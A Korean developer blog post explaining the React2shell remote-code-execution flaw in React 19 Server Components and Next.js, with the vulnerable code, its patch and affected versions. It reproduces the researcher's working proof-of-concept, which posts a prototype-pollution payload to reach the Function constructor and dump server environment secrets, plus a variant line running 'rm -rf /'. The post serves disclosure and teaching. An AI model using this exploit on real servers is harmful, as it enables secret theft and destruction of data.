당신의 Next.js 프로젝트, 지금 해킹당할 수 있습니다. React 19 보안이슈에 대해 CVE-2025-55182 (React2shell)

2025. 12. 10. 20:52·Stack/Next.js
반응형

React / Next.js 보안 취약점 관련 내용으로 글을 포스팅합니다.

개요

지난 11월 29일, 보안 연구원 Lachlan Davidson에 의해 React 생태계, 특히 최신 버전인 React 19와 Next.js를 관통하는 치명적인 보안 취약점이 발견되었습니다. 이 문제는 Meta 측에 즉시 보고되었으며, 현재 전 세계 프론트엔드/풀스택 개발자들 사이에서 가장 시급한 이슈로 떠오르고 있습니다.

이번 취약점은 단순한 정보 노출이 아닌, 원격 코드 실행(RCE, Remote Code Execution) 이 가능하다는 점에서 매우 위험합니다. 이에 따라 다음과 같은 CVE 번호와 심각도 점수가 부여되었습니다.

  • 관련 CVE:
    • CVE-2025-55182 (React)
    • CVE-2025-66478 (Next.js)
  • CVSS 기본 심각도: 10.0 / 10.0 (Critical)
    • 참고: CVSS 10점은 보안 취약점 중 가장 높은 단계로, 즉각적인 조치가 필요함을 의미합니다.

해당 문제의 원인은 React19 버젼에서 도입된 React Server Components의 Flight 프로토콜이 데이터를 처리하는 과정에서 발생했습니다.

워낙 빠르게 변화하는 React 생태계라 React19 도입되면서 어떤 부분이 변경되었는지에 대해 알아보면서 해당 글을 작성합니다.


React19 에서 도입된 된 React Server Components 란?

React Server Components란?

React 19에서 정식 도입된 RSC는 기존 렌더링 방식의 한계를 극복하기 위해 등장했습니다.

  • CSR (Client Side Rendering): 브라우저가 모든 자바스크립트를 받아 렌더링 (초기 로딩 느림)
  • SSR (Server Side Rendering): 서버에서 HTML을 그려서 전달 (상호작용을 위해 하이드레이션 필요)
  • RSC (React Server Components): 컴포넌트 단위로 서버에서 렌더링을 마치고, 그 직렬화된 결과값(JSON 형태의 데이터)만 클라이언트로 전송하는 방식입니다. 

(추가적으로 SSG랑 ISR 방식도 있습니다.)

기존의 CSR 방식

CSR 방식 (https://roy-jung.github.io/250323-react-server-components/) 참고

SSR 방식

SSR 방식 (https://roy-jung.github.io/250323-react-server-components/) 참고

RSC 방식

RSC 동작 방식을 이해 하려면 우선 컴포넌트를 서버 컴포넌트와 클라이언트 컴포넌트로 구분한다는점을 인지해야됩니다.

RSC 방식 (https://roy-jung.github.io/250323-react-server-components/) 참고

RSC의 동작 방식은 다음과 같습니다.

 

1단계 요청단계

  • Client (GET /): 사용자가 주소창에 입력합니다.
  • Next (find route's SC) : Next.js 서버에서 주소에 해당하는 파일을 찾는 과정을 거치고
  • Next ➡ React (render SC): 페이지 컴포넌트 트리를 해석해서 HTML 을 만드는 과정을 요청을 합니다,.

2단계 컴포넌트 트리 분석 및 HTML 생성 단계 (위의 그림의 오른쪽 사각형 부분입니다.)

  • Loop (recursively, asynchronously): React는 페이지의 가장 윗부분부터 아랫부분까지 컴포넌트를 하나씩 훑어 내려갑니다.
  • render SC tree : 해당 부분은 서버 컴포넌트 부분이므로 바로 렌더링하게 되고,
  • if client component 부분은 클라이언트 전용 컴포넌트기 때문에 서버에서 해당 컴포넌트를 실행하지 않는다 대신 prepare CC instructions 로 나중에 클라이언트가가 받아서 해당 내용을을 채우는 표식(JSON) 을 남기게 됩니다.
  • if suspended server component 해당 부분은 서버쪽에서 오래걸리는 부분으로 예를 들면 DB 조회를 통해 3초가 걸리는 부분이라고 가정한다고 하면 여기서 react return fallback & exec in parallel 동작으로
    • Fallback : 일단 오래걸리는 부분은 스피너 HTML 로 처리하고
    • Exec in parallel : db 조회 작업은 백그라운드에서 계속 돌립니다.
  • RSC payload : React에서 컴포넌트 트리 바탕으로 해석한 내용을 Next 에 전달 해당 내용에는 React 트리 구조를 직렬화된 내용, 서버에서 클라이언트로 넘기는 데이터들 (props), 클라이언트 부분에서 진행 될 js 영역등이 담고 넘깁니다.
  • generate HTML : 이를 바탕으로 Next.js 에서 HTML을 생성

3단계 : 스트리밍 루프 (왼쪽 아래 사각형 부분입니다.)

if suspended server component 부분에서 오래걸리는 부분의 작업들이 끝날때 마다 작동합니다.

  • render SC 서버가 도착한 데이터를 가지고 컴포넌트를 HTML 로 변경합니다.
  • stream HTML & stream RSC Payload: 서버가 브라우저(클라이언트 )에게 추가 데이터를 스트림을 통해 전달합니다.
  • Render new content 브라우저는 1차로 받았던 HTML의 '로딩 스피너' 부분을 방금 도착한 진짜 HTML 교체를 합니다.

어떤 보안이슈고 왜 발생하는가?

React Server Components는 서버와 클라이언트 간 통신을 위해 "Flight Protocol"을 사용하는데

이러한 상황에서 사용자의 입력값을 역직렬화 하는과정에서 검증이 불충 분하여 객체의 프로토타입이 오염되어 취약점이 발생합니다.

보안이슈가 발생하는 되는 지점

클라이언트가 버튼을 눌러 서버 Action 을 요청

  1. React는 Flight 프로토콜 형식의 데이터를 만들어 HTTP 요청으로 서버에 전송
  2. Next.js 기준으로는 Next-Action 헤더 + multipart/form-data로 Flight chunks 전송.
  3. 서버에서 React RSC 런타임이 Flight payload 를 역직렬화 해서 어떤 모듈의 어떤 함수를 어떤 인자로 호출할지를 복원
  4. 복원된 Server Action이 Node.js 사에서 실행 → DB, 파일, 외부 API 등 서버 리소스 접근

“역직렬화 + 모듈/익스포트 로딩 “ 이 부분에서 문제가 발생

function requireModule(metadata) {
  // metadata: { id: "module-id", name: "exportName" }
  const moduleExports = parcelRequire(metadata.id); // webpack/parcel 등 bundler 런타임
  return moduleExports[metadata.name];             // 문제 지점
}

코드에서 metadata.name 값에 대한 검증이 전혀 없습니다. 공격자가 name 값으로 "constructor" 나 "__proto__" 같은 값을 보내면, 개발자가 의도한 export 된 함수가 아니라 자바스크립트 객체의 프로토타입 체인(Prototype Chain)에 접근할 수 있게 됩니다. 그래서 해당 내용이 아래와 같이 수정되었습니다.

function requireModule(metadata) {
  const moduleExports = parcelRequire(metadata.id);
  if (Object.prototype.hasOwnProperty.call(moduleExports, metadata.name)) {
    return moduleExports[metadata.name];
  }
  return undefined;
}

패치된 버전에서는 hasOwnProperty 체크를 추가하여, 프로토타입 체인을 통한 접근을 원천 차단했습니다.

해당 코드가 왜 문제가 되는지?

files = {
    "0": ["$1"], // 시작점 (루트): 1번 청크를 가리킴
    "1": {"object": "fruit", "name": "$2"}, // 1번 청크: 2번 청크를 가리킴
    "2": {"fruitName": "cherry"} // 2번 청크: 실제 데이터
}

해당 내용을 직렬화 과정을 거치면 위와 같이 되는데 실제 코드는 아래와 같다.

 

[
  {
    "object": "fruit",
    "name": { "fruitName": "cherry" }
  }
]

다음과 같이 가게 된다. 위와 같은 원리를 이용하여 실제로 해커는 다음과 같이 할 수 있습니다.

 

해당코드는 Lachlan Davidson씨의 github에서 공개한 공격코드 내용입니다.

const payload = {
    '0': '$1',
    '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix':'console.log(7*7+1); console.log(process.env)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}


const FormDataLib = require('form-data')

const fd = new FormDataLib()

for (const key in payload) {
    fd.append(key, JSON.stringify(payload[key]))
}

console.log(fd.getBuffer().toString())

console.log(fd.getHeaders())

function exploitNext(baseUrl) {
    fetch(baseUrl, {
        method: 'POST',
        headers: {
            'next-action': 'x',
            ...fd.getHeaders()
        },
        body: fd.getBuffer()
    }).then(x => {
        console.log('fetched', x)
        return x.text()
    }).then(x => {
        console.log('got', x)
    })
}

function exploitWaku(baseUrl) {
    fetch(baseUrl + '/RSC/foo.txt', {
        method: 'POST',
        headers: fd.getHeaders(),
        body: fd.getBuffer()
    }).then(x => {
        console.log('fetched', x)
        return x.text()
    }).then(x => {
        console.log('got', x)
    })
}

// Place the correct URL and uncomment the line
// exploitNext('http://localhost:3003')
// exploitWaku('http://localhost:3002')

공격 코드가 복잡해 보이지만, 핵심은 서버가 데이터를 처리하는 루틴을 속여서 Function 생성자를 호출하게 만드는 것이 핵심입니다.

배열준비

'3': [],
'3': [] 공격자는 빈 배열을 하나 준비합니다. 자바스크립트에서 배열의 생성자는 Array이고, Array의 생성자는 바로  Function 입니다. 즉,[].constructor.constructor === Function(생성자) 가 됩니다. 공격자는 이 경로를 노립니다.

트리거

'4': {
    '_prefix': 'console.log(7*7+1); console.log(process.env)//',,
    '_formData': {
        'get': '$3:constructor:constructor'  // <--- 여기가 핵심!
    },
    // ...
}
  • _formData 속이기: React 서버(Next.js)는 클라이언트가 보낸 데이터를 FormData 객체로 인식하고 처리하려는 로직이 있습니다. 이때 내부적으로 폼 데이터를 읽기 위해 .get() 메서드를 호출하려고 시도합니다.
  • get 메서드 하이재킹: 공격자는 get이라는 속성의 값을 일반적인 함수가 아니라, 배열을 타고 올라간 Function 생성자($3:constructor:constructor)로 바꿔치기하게되고
  • 실행 (Execution): 서버가 데이터를 처리하는 과정에서 formData.get(...)과 유사한 호출을 할 때, 실제로는 **new Function(...)*이 실행되어 버립니다.
  • 명령어 주입 (_prefix): 이때 _prefix에 담긴 문자열(console.log(7*7+1)//)이 함수 본문으로 들어가면서, 최종적으로 서버 콘솔에 50이 출력되거나, console.log(process.env)// 서버의 모든 환경 변수(DB 접속 정보, AWS 키 등 민감 정보)를 콘솔에 뿌려 탈취합니다.
// require 함수를 이용해 자식 프로세스 모듈을 로드하고, OS 명령어를 실행
"process.mainModule.require('child_process').execSync('rm -rf /')//"

만약 위처럼 했다면 해커가 원하는 명령( rm -rf)이 실행됩니다.


그럼 19 이전 버젼은 안전한가?

현재 워낙 큰 보안 이슈라 그런지 메일로도 날라오고 기사도 작성되고 실제 공격사례로 나온 예들 많습니다.

위처럼 영향을 받는 버젼을 제외하고는 나머지는 괜찮다고 합니다.

  • 영향을 받는 대상 :
    • Next.js (App Router 사용): 버전 13.4 이상, 14.x, 15.x 등 App Router를 사용하는 프로젝트는 기본적으로 RSC를 사용하므로 취약합니다.
    • React 19: react-server-dom-* 패키지를 사용하는 환경.
  • 영향을 받지 않는 대상:
    • Next.js (Pages Router 사용): 기존 Pages Router 방식은 RSC 프로토콜을 사용하지 않으므로 안전합니다.
    • Client-Side Only (Vite, CRA): 서버 컴포넌트 없이 클라이언트 렌더링만 수행하는 경우 안전합니다.

참고자료

[1] https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

[2] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[3] https://nvd.nist.gov/vuln/detail/CVE-2025-66478

[4] https://vercel.com/changelog/cve-2025-55182

[5] https://roy-jung.github.io/250323-react-server-components/

[6] https://cloud.google.com/blog/ko/products/identity-security/responding-to-cve-2025-55182

[7] https://gomguk.tistory.com/306

[8] https://hg2lee.tistory.com/entry/CVE-202-5-55182React2shell-CVSS-100-심각

[9] https://www.youtube.com/watch?v=Ne_-V3NAXpY

[10] https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js

반응형

'Stack > Next.js' 카테고리의 다른 글

Three.js 화면 조정하기 Next.js 한스푼을 더해서  (1) 2024.06.26
Button으로 Resizable 구현하기  (2) 2024.06.04
Draggable 구현하기  (0) 2024.06.04
Next.js metadata 다루는 방식의 변  (1) 2024.05.14
Next Image 사용하는 방법  (1) 2024.05.14
'Stack/Next.js' 카테고리의 다른 글
  • Three.js 화면 조정하기 Next.js 한스푼을 더해서
  • Button으로 Resizable 구현하기
  • Draggable 구현하기
  • Next.js metadata 다루는 방식의 변
WHITE_FROST
WHITE_FROST
개발공부리뷰블로그
    반응형
  • WHITE_FROST
    하얀하얀IT
    WHITE_FROST
  • 전체
    오늘
    어제
    • 분류 전체보기 (120) N
      • Stack (44) N
        • Next.js (8) N
        • React (12)
        • React-Native (15)
        • TypeScript (0)
        • Python (2)
        • JavaScript (2)
        • Android (1)
        • DB (2)
        • JAVA (1)
      • Obsidian (1)
      • AI (3)
      • AI Tools (0)
      • Tools (0)
      • Mac (0)
      • Error (7)
      • 알고리즘 정리 (6)
      • 알고리즘 문제풀이 (46)
      • 공부일상 (4)
      • 개발 도구 & 라이브러리 (0)
      • 정보처리기사 (0)
      • 기타 (6)
      • Tip (2)
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    코테
    SWEA
    react-native
    ReactHook
    d1
    react-native-maps
    Next.js
    코딩테스트
    오블완
    리액트네이티브
    react
    알고리즘
    티스토리챌린지
    javascript
    ios
    프로그래머스
    Python
    React Hooks
    React-Native cli
    java
    nextjs
    hooks
    mongoDB Atlas
    boj
    백준
    reactnative
    D2
    Expo
    error
    mongodb cloud
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
WHITE_FROST
당신의 Next.js 프로젝트, 지금 해킹당할 수 있습니다. React 19 보안이슈에 대해 CVE-2025-55182 (React2shell)
상단으로

티스토리툴바